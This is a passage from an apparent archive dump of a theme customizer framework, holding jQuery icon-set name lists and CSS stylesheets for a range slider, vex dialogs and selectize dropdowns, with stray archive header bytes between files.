th-menu-outline","th-small","th-small-outline","thermometer","thumbs-down","thumbs-ok","thumbs-up","tick","tick-outline","ticket","time","times","times-outline","trash","tree","upload","upload-outline","user","user-add","user-add-outline","user-delete","user-delete-outline","user-outline","vendor-android","vendor-apple","vendor-microsoft","video","video-outline","volume","volume-down","volume-mute","volume-up","warning","warning-outline","watch","waves","waves-outline","weather-cloudy","weather-downpour","weather-night","weather-partly-sunny","weather-shower","weather-snow","weather-stormy","weather-sunny","weather-windy","weather-windy-cloudy","wi-fi","wi-fi-outline","wine","world","world-outline","zoom","zoom-in","zoom-in-outline","zoom-out","zoom-out-outline","zoom-outline"]},{version:"2.0.7",icons:["","adjust-brightness","adjust-contrast","anchor","anchor-outline","archive","arrow-back","arrow-back-outline","arrow-down","arrow-down-outline","arrow-down-thick","arrow-forward","arrow-forward-outline","arrow-left","arrow-left-outline","arrow-left-thick","arrow-loop","arrow-loop-outline","arrow-maximise","arrow-maximise-outline","arrow-minimise","arrow-minimise-outline","arrow-move","arrow-move-outline","arrow-repeat","arrow-repeat-outline","arrow-right","arrow-right-outline","arrow-right-thick","arrow-shuffle","arrow-sorted-down","arrow-sorted-up","arrow-sync","arrow-sync-outline","arrow-unsorted","arrow-up","arrow-up-outline","arrow-up-thick","at","attachment","attachment-outline","backspace","backspace-outline","battery-charge","battery-full","battery-high","battery-low","battery-mid","beaker","beer","bell","book","bookmark","briefcase","brush","business-card","calculator","calendar","calendar-outline","camera","camera-outline","cancel","cancel-outline","chart-area","chart-area-outline","chart-bar","chart-bar-outline","chart-line","chart-line-outline","chart-pie","chart-pie-outline","chevron-left","chevron-left-outline","chevron-right","chevron-right-outline","clipboard","cloud-storage","cloud-storage-outline","code","code-outline","coffee","cog","cog-outline","compass","contacts","credit-card","css3","database","delete","delete-outline","device-desktop","device-laptop","device-phone","device-tablet","directions","divide","divide-outline","document","document-add","document-delete","document-text","download","download-outline","dropbox","edit","eject","eject-outline","equals","equals-outline","export","export-outline","eye","eye-outline","feather","film","filter","flag","flag-outline","flash","flash-outline","flow-children","flow-merge","flow-parallel","flow-switch","folder","folder-add","folder-delete","folder-open","gift","globe","globe-outline","group","group-outline","headphones","heart","heart-full-outline","heart-half-outline","heart-outline","home","home-outline","html5","image","image-outline","infinity","infinity-outline","info","info-large","info-large-outline","info-outline","input-checked","input-checked-outline","key","keyboard","key-outline","leaf","lightbulb","link","link-outline","location","location-arrow","location-arrow-outline","location-outline","lock-closed","lock-closed-outline","lock-open","lock-open-outline","mail","map","media-eject","media-eject-outline","media-fast-forward","media-fast-forward-outline","media-pause","media-pause-outline","media-play","media-play-outline","media-play-reverse","media-play-reverse-outline","media-record","media-record-outline","media-rewind","media-rewind-outline","media-stop","media-stop-outline","message","messages","message-typing","microphone","microphone-outline","minus","minus-outline","mortar-board","news","notes","notes-outline","pen","pencil","phone","phone-outline","pi","pin","pin-outline","pi-outline","pipette","plane","plane-outline","plug","plus","plus-outline","point-of-interest","point-of-interest-outline","power","power-outline","printer","puzzle","puzzle-outline","radar","radar-outline","refresh","refresh-outline","rss","rss-outline","scissors","scissors-outline","shopping-bag","shopping-cart","social-at-circular","social-dribbble","social-dribbble-circular","social-facebook","social-facebook-circular","social-flickr","social-flickr-circular","social-github","social-github-circular","social-google-plus","social-google-plus-circular","social-instagram","social-instagram-circular","social-last-fm","social-last-fm-circular","social-linkedin","social-linkedin-circular","social-pinterest","social-pinterest-circular","social-skype","social-skype-outline","social-tumbler","social-tumbler-circular","social-twitter","social-twitter-circular","social-vimeo","social-vimeo-circular","social-youtube","social-youtube-circular","sort-alphabetically","sort-alphabetically-outline","sort-numerically","sort-numerically-outline","spanner","spanner-outline","spiral","star","starburst","starburst-outline","star-full-outline","star-half","star-half-outline","star-outline","stopwatch","support","tabs-outline","tag","tags","thermometer","th-large","th-large-outline","th-list","th-list-outline","th-menu","th-menu-outline","th-small","th-small-outline","thumbs-down","thumbs-ok","thumbs-up","tick","ticket","tick-outline","time","times","times-outline","trash","tree","upload","upload-outline","user","user-add","user-add-outline","user-delete","user-delete-outline","user-outline","vendor-android","vendor-apple","vendor-microsoft","video","video-outline","volume","volume-down","volume-mute","volume-up","warning","warning-outline","watch","waves","waves-outline","weather-cloudy","weather-downpour","weather-night","weather-partly-sunny","weather-shower","weather-snow","weather-stormy","weather-sunny","weather-windy","weather-windy-cloudy","wi-fi","wi-fi-outline","wine","world","world-outline","zoom","zoom-in","zoom-in-outline","zoom-out","zoom-outline","zoom-out-outline"]
},{version:"2.0.8",icons:["","adjust-brightness","adjust-contrast","anchor","anchor-outline","archive","arrow-back","arrow-back-outline","arrow-down","arrow-down-outline","arrow-down-thick","arrow-forward","arrow-forward-outline","arrow-left","arrow-left-outline","arrow-left-thick","arrow-loop","arrow-loop-outline","arrow-maximise","arrow-maximise-outline","arrow-minimise","arrow-minimise-outline","arrow-move","arrow-move-outline","arrow-repeat","arrow-repeat-outline","arrow-right","arrow-right-outline","arrow-right-thick","arrow-shuffle","arrow-sorted-down","arrow-sorted-up","arrow-sync","arrow-sync-outline","arrow-unsorted","arrow-up","arrow-up-outline","arrow-up-thick","at","attachment","attachment-outline","backspace","backspace-outline","battery-charge","battery-full","battery-high","battery-low","battery-mid","beaker","beer","bell","book","bookmark","briefcase","brush","business-card","calculator","calendar","calendar-outline","camera","camera-outline","cancel","cancel-outline","chart-area","chart-area-outline","chart-bar","chart-bar-outline","chart-line","chart-line-outline","chart-pie","chart-pie-outline","chevron-left","chevron-left-outline","chevron-right","chevron-right-outline","clipboard","cloud-storage","cloud-storage-outline","code","code-outline","coffee","cog","cog-outline","compass","contacts","credit-card","css3","database","delete","delete-outline","device-desktop","device-laptop","device-phone","device-tablet","directions","divide","divide-outline","document","document-add","document-delete","document-text","download","download-outline","dropbox","edit","eject","eject-outline","equals","equals-outline","export","export-outline","eye","eye-outline","feather","film","filter","flag","flag-outline","flash","flash-outline","flow-children","flow-merge","flow-parallel","flow-switch","folder","folder-add","folder-delete","folder-open","gift","globe","globe-outline","group","group-outline","headphones","heart","heart-full-outline","heart-half-outline","heart-outline","home","home-outline","html5","image","image-outline","infinity","infinity-outline","info","info-large","info-large-outline","info-outline","input-checked","input-checked-outline","key","keyboard","key-outline","leaf","lightbulb","link","link-outline","location","location-arrow","location-arrow-outline","location-outline","lock-closed","lock-closed-outline","lock-open","lock-open-outline","mail","map","media-eject","media-eject-outline","media-fast-forward","media-fast-forward-outline","media-pause","media-pause-outline","media-play","media-play-outline","media-play-reverse","media-play-reverse-outline","media-record","media-record-outline","media-rewind","media-rewind-outline","media-stop","media-stop-outline","message","messages","message-typing","microphone","microphone-outline","minus","minus-outline","mortar-board","news","notes","notes-outline","pen","pencil","phone","phone-outline","pi","pin","pin-outline","pi-outline","pipette","plane","plane-outline","plug","plus","plus-outline","point-of-interest","point-of-interest-outline","power","power-outline","printer","puzzle","puzzle-outline","radar","radar-outline","refresh","refresh-outline","rss","rss-outline","scissors","scissors-outline","shopping-bag","shopping-cart","social-at-circular","social-dribbble","social-dribbble-circular","social-facebook","social-facebook-circular","social-flickr","social-flickr-circular","social-github","social-github-circular","social-google-plus","social-google-plus-circular","social-instagram","social-instagram-circular","social-last-fm","social-last-fm-circular","social-linkedin","social-linkedin-circular","social-pinterest","social-pinterest-circular","social-skype","social-skype-outline","social-tumbler","social-tumbler-circular","social-twitter","social-twitter-circular","social-vimeo","social-vimeo-circular","social-youtube","social-youtube-circular","sort-alphabetically","sort-alphabetically-outline","sort-numerically","sort-numerically-outline","spanner","spanner-outline","spiral","star","starburst","starburst-outline","star-full-outline","star-half","star-half-outline","star-outline","stopwatch","support","tabs-outline","tag","tags","thermometer","th-large","th-large-outline","th-list","th-list-outline","th-menu","th-menu-outline","th-small","th-small-outline","thumbs-down","thumbs-ok","thumbs-up","tick","ticket","tick-outline","time","times","times-outline","trash","tree","upload","upload-outline","user","user-add","user-add-outline","user-delete","user-delete-outline","user-outline","vendor-android","vendor-apple","vendor-microsoft","video","video-outline","volume","volume-down","volume-mute","volume-up","warning","warning-outline","watch","waves","waves-outline","weather-cloudy","weather-downpour","weather-night","weather-partly-sunny","weather-shower","weather-snow","weather-stormy","weather-sunny","weather-windy","weather-windy-cloudy","wi-fi","wi-fi-outline","wine","world","world-outline","zoom","zoom-in","zoom-in-outline","zoom-out","zoom-outline","zoom-out-outline"]},{version:"2.0.9",icons:["","adjust-brightness","adjust-contrast","anchor","anchor-outline","archive","arrow-back","arrow-back-outline","arrow-down","arrow-down-outline","arrow-down-thick","arrow-forward","arrow-forward-outline","arrow-left","arrow-left-outline","arrow-left-thick","arrow-loop","arrow-loop-outline","arrow-maximise","arrow-maximise-outline","arrow-minimise","arrow-minimise-outline","arrow-move","arrow-move-outline","arrow-repeat","arrow-repeat-outline","arrow-right","arrow-right-outline","arrow-right-thick","arrow-shuffle","arrow-sorted-down","arrow-sorted-up","arrow-sync","arrow-sync-outline","arrow-unsorted","arrow-up","arrow-up-outline","arrow-up-thick","at","attachment","attachment-outline","backspace","backspace-outline","battery-charge","battery-full","battery-high","battery-low","battery-mid","beaker","beer","bell","book","bookmark","briefcase","brush","business-card","calculator","calendar","calendar-outline","camera","camera-outline","cancel","cancel-outline","chart-area","chart-area-outline","chart-bar","chart-bar-outline","chart-line","chart-line-outline","chart-pie","chart-pie-outline","chevron-left","chevron-left-outline","chevron-right","chevron-right-outline","clipboard","cloud-storage","cloud-storage-outline","code","code-outline","coffee","cog","cog-outline","compass","contacts","credit-card","css3","database","delete","delete-outline","device-desktop","device-laptop","device-phone","device-tablet","directions","divide","divide-outline","document","document-add","document-delete","document-text","download","download-outline","dropbox","edit","eject","eject-outline","equals","equals-outline","export","export-outline","eye","eye-outline","feather","film","filter","flag","flag-outline","flash","flash-outline","flow-children","flow-merge","flow-parallel","flow-switch","folder","folder-add","folder-delete","folder-open","gift","globe","globe-outline","group","group-outline","headphones","heart","heart-full-outline","heart-half-outline","heart-outline","home","home-outline","html5","image","image-outline","infinity","infinity-outline","info","info-large","info-large-outline","info-outline","input-checked","input-checked-outline","key","keyboard","key-outline","leaf","lightbulb","link","link-outline","location","location-arrow","location-arrow-outline","location-outline","lock-closed","lock-closed-outline","lock-open","lock-open-outline","mail","map","media-eject","media-eject-outline","media-fast-forward","media-fast-forward-outline","media-pause","media-pause-outline","media-play","media-play-outline","media-play-reverse","media-play-reverse-outline","media-record","media-record-outline","media-rewind","media-rewind-outline","media-stop","media-stop-outline","message","messages","message-typing","microphone","microphone-outline","minus","minus-outline","mortar-board","news","notes","notes-outline","pen","pencil","phone","phone-outline","pi","pin","pin-outline","pi-outline","pipette","plane","plane-outline","plug","plus","plus-outline","point-of-interest","point-of-interest-outline","power","power-outline","printer","puzzle","puzzle-outline","radar","radar-outline","refresh","refresh-outline","rss","rss-outline","scissors","scissors-outline","shopping-bag","shopping-cart","social-at-circular","social-dribbble","social-dribbble-circular","social-facebook","social-facebook-circular","social-flickr","social-flickr-circular","social-github","social-github-circular","social-google-plus","social-google-plus-circular","social-instagram","social-instagram-circular","social-last-fm","social-last-fm-circular","social-linkedin","social-linkedin-circular","social-pinterest","social-pinterest-circular","social-skype","social-skype-outline","social-tumbler","social-tumbler-circular","social-twitter","social-twitter-circular","social-vimeo","social-vimeo-circular","social-youtube","social-youtube-circular","sort-alphabetically","sort-alphabetically-outline","sort-numerically","sort-numerically-outline","spanner","spanner-outline","spiral","star","starburst","starburst-outline","star-full-outline","star-half","star-half-outline","star-outline","stopwatch","support","tabs-outline","tag","tags","thermometer","th-large","th-large-outline","th-list","th-list-outline","th-menu","th-menu-outline","th-small","th-small-outline","thumbs-down","thumbs-ok","thumbs-up","tick","ticket","tick-outline","time","times","times-outline","trash","tree","upload","upload-outline","user","user-add","user-add-outline","user-delete","user-delete-outline","user-outline","vendor-android","vendor-apple","vendor-microsoft","video","video-outline","volume","volume-down","volume-mute","volume-up","warning","warning-outline","watch","waves","waves-outline","weather-cloudy","weather-downpour","weather-night","weather-partly-sunny","weather-shower","weather-snow","weather-stormy","weather-sunny","weather-windy","weather-windy-cloudy","wi-fi","wi-fi-outline","wine","world","world-outline","zoom","zoom-in","zoom-in-outline","zoom-out","zoom-outline","zoom-out-outline"]}]},l=data.allVersions.length;data.icons=data.allVersions[l-1].icons,$.iconset_typicon=data}(jQuery);
!function($){var data={iconClass:"wi",iconClassFix:"wi-",icons:[],allVersions:[{version:"1.2.0",icons:["","alien","celsius","cloud","cloud-down","cloud-refresh","cloud-up","cloudy","cloudy-gusts","cloudy-windy","day-cloudy","day-cloudy-gusts","day-cloudy-windy","day-fog","day-hail","day-lightning","day-rain","day-rain-mix","day-rain-wind","day-showers","day-sleet-storm","day-snow","day-snow-thunderstorm","day-snow-wind","day-sprinkle","day-storm-showers","day-sunny","day-sunny-overcast","day-thunderstorm","degrees","down","down-left","dust","fahrenheit","fog","hail","horizon","horizon-alt","hot","hurricane","left","lightning","lunar-eclipse","meteor","moon-full","moon-new","moon-old","moon-waning-crescent","moon-waning-gibbous","moon-waning-quarter","moon-waxing-crescent","moon-waxing-gibbous","moon-waxing-quarter","moon-young","night-alt-cloudy-gusts","night-alt-cloudy-windy","night-alt-hail","night-alt-lightning","night-alt-rain","night-alt-rain-mix","night-alt-rain-wind","night-alt-showers","night-alt-sleet-storm","night-alt-snow","night-alt-snow-thunderstorm","night-alt-snow-wind","night-alt-sprinkle","night-alt-storm-showers","night-alt-thunderstorm","night-clear","night-cloudy","night-cloudy-gusts","night-cloudy-windy","night-fog","night-hail","night-lightning","night-partly-cloudy","night-rain","night-rain-mix","night-rain-wind","night-showers","night-sleet-storm","night-snow","night-snow-thunderstorm","night-snow-wind","night-sprinkle","night-storm-showers","night-thunderstorm","rain","rain-mix","rain-wind","refresh","refresh-alt","right","showers","smog","smoke","snow","snow-wind","snowflake-cold","solar-eclipse","sprinkle","sprinkles","stars","storm-showers","strong-wind","sunrise","sunset","thermometer","thermometer-exterior","thermometer-internal","thunderstorm","tornado","up","up-right","wind-east","wind-north","wind-north-east","wind-north-west","wind-south","wind-south-east","wind-south-west","wind-west","windy"]}]},l=data.allVersions.length;data.icons=data.allVersions[l-1].icons,$.iconset_weathericon=data}(jQuery);PK     0w\T˗d  d  3  customizer/framework/assets/css/ion.rangeSlider.cssnu [        /* Ion.RangeSlider
// css version 2.0.3
// © 2013-2014 Denis Ineshin | IonDen.com
// ===================================================================================================================*/

/* =====================================================================================================================
// RangeSlider */

.irs {
    position: relative; display: block;
    -webkit-touch-callout: none;
    -webkit-user-select: none;
     -khtml-user-select: none;
       -moz-user-select: none;
        -ms-user-select: none;
            user-select: none;
}
    .irs-line {
        position: relative; display: block;
        overflow: hidden;
        outline: none !important;
    }
        .irs-line-left, .irs-line-mid, .irs-line-right {
            position: absolute; display: block;
            top: 0;
        }
        .irs-line-left {
            left: 0; width: 11%;
        }
        .irs-line-mid {
            left: 9%; width: 82%;
        }
        .irs-line-right {
            right: 0; width: 11%;
        }

    .irs-bar {
        position: absolute; display: block;
        left: 0; width: 0;
    }
        .irs-bar-edge {
            position: absolute; display: block;
            top: 0; left: 0;
        }

    .irs-shadow {
        position: absolute; display: none;
        left: 0; width: 0;
    }

    .irs-slider {
        position: absolute; display: block;
        cursor: default;
        z-index: 1;
    }
        .irs-slider.single {

        }
        .irs-slider.from {

        }
        .irs-slider.to {

        }
        .irs-slider.type_last {
            z-index: 2;
        }

    .irs-min {
        position: absolute; display: block;
        left: 0;
        cursor: default;
    }
    .irs-max {
        position: absolute; display: block;
        right: 0;
        cursor: default;
    }

    .irs-from, .irs-to, .irs-single {
        position: absolute; display: block;
        top: 0; left: 0;
        cursor: default;
        white-space: nowrap;
    }

.irs-grid {
    position: absolute; display: none;
    bottom: 0; left: 0;
    width: 100%; height: 20px;
}
.irs-with-grid .irs-grid {
    display: block;
}
    .irs-grid-pol {
        position: absolute;
        top: 0; left: 0;
        width: 1px; height: 8px;
        background: #000;
    }
    .irs-grid-pol.small {
        height: 4px;
    }
    .irs-grid-text {
        position: absolute;
        bottom: 0; left: 0;
        white-space: nowrap;
        text-align: center;
        font-size: 9px; line-height: 9px;
        padding: 0 3px;
        color: #000;
    }

.irs-disable-mask {
    position: absolute; display: block;
    top: 0; left: -1%;
    width: 102%; height: 100%;
    cursor: default;
    background: rgba(0,0,0,0.0);
    z-index: 2;
}
.lt-ie9 .irs-disable-mask {
    background: #000;
    filter: alpha(opacity=0);
    cursor: not-allowed;
}

.irs-disabled {
    opacity: 0.4;
}


.irs-hidden-input {
    position: absolute !important;
    display: block !important;
    top: 0 !important;
    left: 0 !important;
    width: 0 !important;
    height: 0 !important;
    font-size: 0 !important;
    line-height: 0 !important;
    padding: 0 !important;
    margin: 0 !important;
    overflow: hidden;
    outline: none !important;
    z-index: -9999 !important;
    background: none !important;
    border-style: solid !important;
    border-color: transparent !important;
}
PK     0w\S}    :  customizer/framework/assets/css/admin/theme-customizer.cssnu [        .vex-overlay {
    background: rgba(0, 0, 0, 0.6);
}

.vex-dialog-button {
    width: 50%;
}

.vex-content {
    position: fixed;
    top: 50%;
    left: 50%;
    background: rgba(255,255,255,0.2);
    padding: 10px;
    border-radius: 3px;
    transform: translate(-50%,-50%);
}

.vex-dialog-message {
    background: white;
    border: 1px solid rgb(221, 221, 221);
    width: 400px;
    font-size: 15px;
    padding: 20px;
    border-radius: 4px;
    text-align: center;
    color: rgb(136, 136, 136);
}

.vex-dialog-buttons {
    margin-top: 10px;
}

.vex-dialog-button {
    width: 194px !important;
    float: left;
    height: 35px;
    border-radius: 3px;
}

.vex-dialog-button.vex-first {
    margin-right: 12px;
    line-height: 1;
}

.vex-dialog-button.vex-last {
    line-height: 1;
}PK     0w\z    '  customizer/framework/assets/css/vex.cssnu [        @keyframes vex-fadein {
  /* line 9, ../sass/_keyframes.sass */
  0% {
    opacity: 0;
  }

  /* line 11, ../sass/_keyframes.sass */
  100% {
    opacity: 1;
  }
}

@-webkit-keyframes vex-fadein {
  /* line 9, ../sass/_keyframes.sass */
  0% {
    opacity: 0;
  }

  /* line 11, ../sass/_keyframes.sass */
  100% {
    opacity: 1;
  }
}

@-moz-keyframes vex-fadein {
  /* line 9, ../sass/_keyframes.sass */
  0% {
    opacity: 0;
  }

  /* line 11, ../sass/_keyframes.sass */
  100% {
    opacity: 1;
  }
}

@-ms-keyframes vex-fadein {
  /* line 9, ../sass/_keyframes.sass */
  0% {
    opacity: 0;
  }

  /* line 11, ../sass/_keyframes.sass */
  100% {
    opacity: 1;
  }
}

@-o-keyframes vex-fadein {
  /* line 9, ../sass/_keyframes.sass */
  0% {
    opacity: 0;
  }

  /* line 11, ../sass/_keyframes.sass */
  100% {
    opacity: 1;
  }
}

@keyframes vex-fadeout {
  /* line 16, ../sass/_keyframes.sass */
  0% {
    opacity: 1;
  }

  /* line 18, ../sass/_keyframes.sass */
  100% {
    opacity: 0;
  }
}

@-webkit-keyframes vex-fadeout {
  /* line 16, ../sass/_keyframes.sass */
  0% {
    opacity: 1;
  }

  /* line 18, ../sass/_keyframes.sass */
  100% {
    opacity: 0;
  }
}

@-moz-keyframes vex-fadeout {
  /* line 16, ../sass/_keyframes.sass */
  0% {
    opacity: 1;
  }

  /* line 18, ../sass/_keyframes.sass */
  100% {
    opacity: 0;
  }
}

@-ms-keyframes vex-fadeout {
  /* line 16, ../sass/_keyframes.sass */
  0% {
    opacity: 1;
  }

  /* line 18, ../sass/_keyframes.sass */
  100% {
    opacity: 0;
  }
}

@-o-keyframes vex-fadeout {
  /* line 16, ../sass/_keyframes.sass */
  0% {
    opacity: 1;
  }

  /* line 18, ../sass/_keyframes.sass */
  100% {
    opacity: 0;
  }
}

@keyframes vex-rotation {
  /* line 127, ../sass/_keyframes.sass */
  0% {
    transform: rotate(0deg);
    -webkit-transform: rotate(0deg);
    -moz-transform: rotate(0deg);
    -ms-transform: rotate(0deg);
    -o-transform: rotate(0deg);
  }

  /* line 129, ../sass/_keyframes.sass */
  100% {
    transform: rotate(359deg);
    -webkit-transform: rotate(359deg);
    -moz-transform: rotate(359deg);
    -ms-transform: rotate(359deg);
    -o-transform: rotate(359deg);
  }
}

@-webkit-keyframes vex-rotation {
  /* line 127, ../sass/_keyframes.sass */
  0% {
    transform: rotate(0deg);
    -webkit-transform: rotate(0deg);
    -moz-transform: rotate(0deg);
    -ms-transform: rotate(0deg);
    -o-transform: rotate(0deg);
  }

  /* line 129, ../sass/_keyframes.sass */
  100% {
    transform: rotate(359deg);
    -webkit-transform: rotate(359deg);
    -moz-transform: rotate(359deg);
    -ms-transform: rotate(359deg);
    -o-transform: rotate(359deg);
  }
}

@-moz-keyframes vex-rotation {
  /* line 127, ../sass/_keyframes.sass */
  0% {
    transform: rotate(0deg);
    -webkit-transform: rotate(0deg);
    -moz-transform: rotate(0deg);
    -ms-transform: rotate(0deg);
    -o-transform: rotate(0deg);
  }

  /* line 129, ../sass/_keyframes.sass */
  100% {
    transform: rotate(359deg);
    -webkit-transform: rotate(359deg);
    -moz-transform: rotate(359deg);
    -ms-transform: rotate(359deg);
    -o-transform: rotate(359deg);
  }
}

@-ms-keyframes vex-rotation {
  /* line 127, ../sass/_keyframes.sass */
  0% {
    transform: rotate(0deg);
    -webkit-transform: rotate(0deg);
    -moz-transform: rotate(0deg);
    -ms-transform: rotate(0deg);
    -o-transform: rotate(0deg);
  }

  /* line 129, ../sass/_keyframes.sass */
  100% {
    transform: rotate(359deg);
    -webkit-transform: rotate(359deg);
    -moz-transform: rotate(359deg);
    -ms-transform: rotate(359deg);
    -o-transform: rotate(359deg);
  }
}

@-o-keyframes vex-rotation {
  /* line 127, ../sass/_keyframes.sass */
  0% {
    transform: rotate(0deg);
    -webkit-transform: rotate(0deg);
    -moz-transform: rotate(0deg);
    -ms-transform: rotate(0deg);
    -o-transform: rotate(0deg);
  }

  /* line 129, ../sass/_keyframes.sass */
  100% {
    transform: rotate(359deg);
    -webkit-transform: rotate(359deg);
    -moz-transform: rotate(359deg);
    -ms-transform: rotate(359deg);
    -o-transform: rotate(359deg);
  }
}

/* line 11, ../sass/vex.sass */
.vex, .vex *, .vex *:before, .vex *:after {
  -webkit-box-sizing: border-box;
  -moz-box-sizing: border-box;
  box-sizing: border-box;
}

/* line 14, ../sass/vex.sass */
.vex {
  position: fixed;
  overflow: auto;
  -webkit-overflow-scrolling: touch;
  z-index: 1111;
  top: 0;
  right: 0;
  bottom: 0;
  left: 0;
}

/* line 25, ../sass/vex.sass */
.vex-overlay {
  background: black;
  filter: alpha(opacity=40);
  -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=40)";
}

/* line 30, ../sass/vex.sass */
.vex-overlay {
  animation: vex-fadein 0.5s;
  -webkit-animation: vex-fadein 0.5s;
  -moz-animation: vex-fadein 0.5s;
  -ms-animation: vex-fadein 0.5s;
  -o-animation: vex-fadein 0.5s;
  -webkit-backface-visibility: hidden;
  position: fixed;
  background: rgba(0, 0, 0, 0.4);
  top: 0;
  right: 0;
  bottom: 0;
  left: 0;
}
/* line 39, ../sass/vex.sass */
.vex.vex-closing .vex-overlay {
  animation: vex-fadeout 0.5s;
  -webkit-animation: vex-fadeout 0.5s;
  -moz-animation: vex-fadeout 0.5s;
  -ms-animation: vex-fadeout 0.5s;
  -o-animation: vex-fadeout 0.5s;
  -webkit-backface-visibility: hidden;
}

/* line 42, ../sass/vex.sass */
.vex-content {
  animation: vex-fadein 0.5s;
  -webkit-animation: vex-fadein 0.5s;
  -moz-animation: vex-fadein 0.5s;
  -ms-animation: vex-fadein 0.5s;
  -o-animation: vex-fadein 0.5s;
  -webkit-backface-visibility: hidden;
  background: white;
}
/* line 46, ../sass/vex.sass */
.vex.vex-closing .vex-content {
  animation: vex-fadeout 0.5s;
  -webkit-animation: vex-fadeout 0.5s;
  -moz-animation: vex-fadeout 0.5s;
  -ms-animation: vex-fadeout 0.5s;
  -o-animation: vex-fadeout 0.5s;
  -webkit-backface-visibility: hidden;
}

/* line 49, ../sass/vex.sass */
.vex-close:before {
  font-family: Arial, sans-serif;
  content: "\00D7";
}

/* line 53, ../sass/vex.sass */
.vex-dialog-form {
  margin: 0;
}

/* line 56, ../sass/vex.sass */
.vex-dialog-button {
  -webkit-appearance: none;
  cursor: pointer;
}

/* line 60, ../sass/vex.sass */
.vex-loading-spinner {
  animation: vex-rotation 0.7s linear infinite;
  -webkit-animation: vex-rotation 0.7s linear infinite;
  -moz-animation: vex-rotation 0.7s linear infinite;
  -ms-animation: vex-rotation 0.7s linear infinite;
  -o-animation: vex-rotation 0.7s linear infinite;
  -webkit-backface-visibility: hidden;
  -webkit-box-shadow: 0 0 1em rgba(0, 0, 0, 0.1);
  -moz-box-shadow: 0 0 1em rgba(0, 0, 0, 0.1);
  box-shadow: 0 0 1em rgba(0, 0, 0, 0.1);
  position: fixed;
  z-index: 1112;
  margin: auto;
  top: 0;
  right: 0;
  bottom: 0;
  left: 0;
  height: 2em;
  width: 2em;
  background: white;
}

/* line 76, ../sass/vex.sass */
body.vex-open {
  overflow: hidden;
}
PK     0w\	    4  customizer/framework/assets/css/theme-customizer.cssnu [        .vex-overlay {
    background: rgba(0, 0, 0, 0.6);
}

.vex-dialog-button {
    width: 50%;
}

.vex-content {
    position: fixed;
    top: 50%;
    left: 50%;
    background: rgba(255,255,255,0.2);
    padding: 10px;
    border-radius: 3px;
    transform: translate(-50%,-50%);
}

.vex-dialog-message {
    background: white;
    border: 1px solid rgb(221, 221, 221);
    width: 400px;
    font-size: 15px;
    padding: 20px;
    border-radius: 4px;
    text-align: center;
    color: rgb(136, 136, 136);
}

.vex-dialog-buttons {
    margin-top: 10px;
}

.vex-dialog-button {
    width: 194px !important;
    float: left;
    height: 35px;
    border-radius: 3px;
}

.vex-dialog-button.vex-first {
    margin-right: 12px;
    line-height: 1;
}

.vex-dialog-button.vex-last {
    line-height: 1;
}
PK     0w\ǓK-  -  5  customizer/framework/assets/css/selectize.default.cssnu [        /**
 * selectize.default.css (v0.12.2) - Default Theme
 * Copyright (c) 2013–2015 Brian Reavis & contributors
 *
 * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this
 * file except in compliance with the License. You may obtain a copy of the License at:
 * http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software distributed under
 * the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF
 * ANY KIND, either express or implied. See the License for the specific language
 * governing permissions and limitations under the License.
 *
 * @author Brian Reavis <brian@thirdroute.com>
 */
.selectize-control.plugin-drag_drop.multi > .selectize-input > div.ui-sortable-placeholder {
  visibility: visible !important;
  background: #f2f2f2 !important;
  background: rgba(0, 0, 0, 0.06) !important;
  border: 0 none !important;
  -webkit-box-shadow: inset 0 0 12px 4px #ffffff;
  box-shadow: inset 0 0 12px 4px #ffffff;
}
.selectize-control.plugin-drag_drop .ui-sortable-placeholder::after {
  content: '!';
  visibility: hidden;
}
.selectize-control.plugin-drag_drop .ui-sortable-helper {
  -webkit-box-shadow: 0 2px 5px rgba(0, 0, 0, 0.2);
  box-shadow: 0 2px 5px rgba(0, 0, 0, 0.2);
}
.selectize-dropdown-header {
  position: relative;
  padding: 5px 8px;
  border-bottom: 1px solid #d0d0d0;
  background: #f8f8f8;
  -webkit-border-radius: 3px 3px 0 0;
  -moz-border-radius: 3px 3px 0 0;
  border-radius: 3px 3px 0 0;
}
.selectize-dropdown-header-close {
  position: absolute;
  right: 8px;
  top: 50%;
  color: #303030;
  opacity: 0.4;
  margin-top: -12px;
  line-height: 20px;
  font-size: 20px !important;
}
.selectize-dropdown-header-close:hover {
  color: #000000;
}
.selectize-dropdown.plugin-optgroup_columns .optgroup {
  border-right: 1px solid #f2f2f2;
  border-top: 0 none;
  float: left;
  -webkit-box-sizing: border-box;
  -moz-box-sizing: border-box;
  box-sizing: border-box;
}
.selectize-dropdown.plugin-optgroup_columns .optgroup:last-child {
  border-right: 0 none;
}
.selectize-dropdown.plugin-optgroup_columns .optgroup:before {
  display: none;
}
.selectize-dropdown.plugin-optgroup_columns .optgroup-header {
  border-top: 0 none;
}
.selectize-control.plugin-remove_button [data-value] {
  position: relative;
  padding-right: 24px !important;
}
.selectize-control.plugin-remove_button [data-value] .remove {
  z-index: 1;
  /* fixes ie bug (see #392) */
  position: absolute;
  top: 0;
  right: 0;
  bottom: 0;
  width: 17px;
  text-align: center;
  font-weight: bold;
  font-size: 12px;
  color: inherit;
  text-decoration: none;
  vertical-align: middle;
  display: inline-block;
  padding: 2px 0 0 0;
  border-left: 1px solid #0073bb;
  -webkit-border-radius: 0 2px 2px 0;
  -moz-border-radius: 0 2px 2px 0;
  border-radius: 0 2px 2px 0;
  -webkit-box-sizing: border-box;
  -moz-box-sizing: border-box;
  box-sizing: border-box;
}
.selectize-control.plugin-remove_button [data-value] .remove:hover {
  background: rgba(0, 0, 0, 0.05);
}
.selectize-control.plugin-remove_button [data-value].active .remove {
  border-left-color: #00578d;
}
.selectize-control.plugin-remove_button .disabled [data-value] .remove:hover {
  background: none;
}
.selectize-control.plugin-remove_button .disabled [data-value] .remove {
  border-left-color: #aaaaaa;
}
.selectize-control.plugin-remove_button .remove-single {
  position: absolute;
  right: 28px;
  top: 6px;
  font-size: 23px;
}
.selectize-control {
  position: relative;
}
.selectize-dropdown,
.selectize-input,
.selectize-input input {
  color: #303030;
  font-family: inherit;
  font-size: 13px;
  line-height: 18px;
  -webkit-font-smoothing: inherit;
}
.selectize-input,
.selectize-control.single .selectize-input.input-active {
  background: #ffffff;
  cursor: text;
  display: inline-block;
}
.selectize-input {
  border: 1px solid #d0d0d0;
  padding: 8px 8px;
  display: inline-block;
  width: 100%;
  overflow: hidden;
  position: relative;
  z-index: 1;
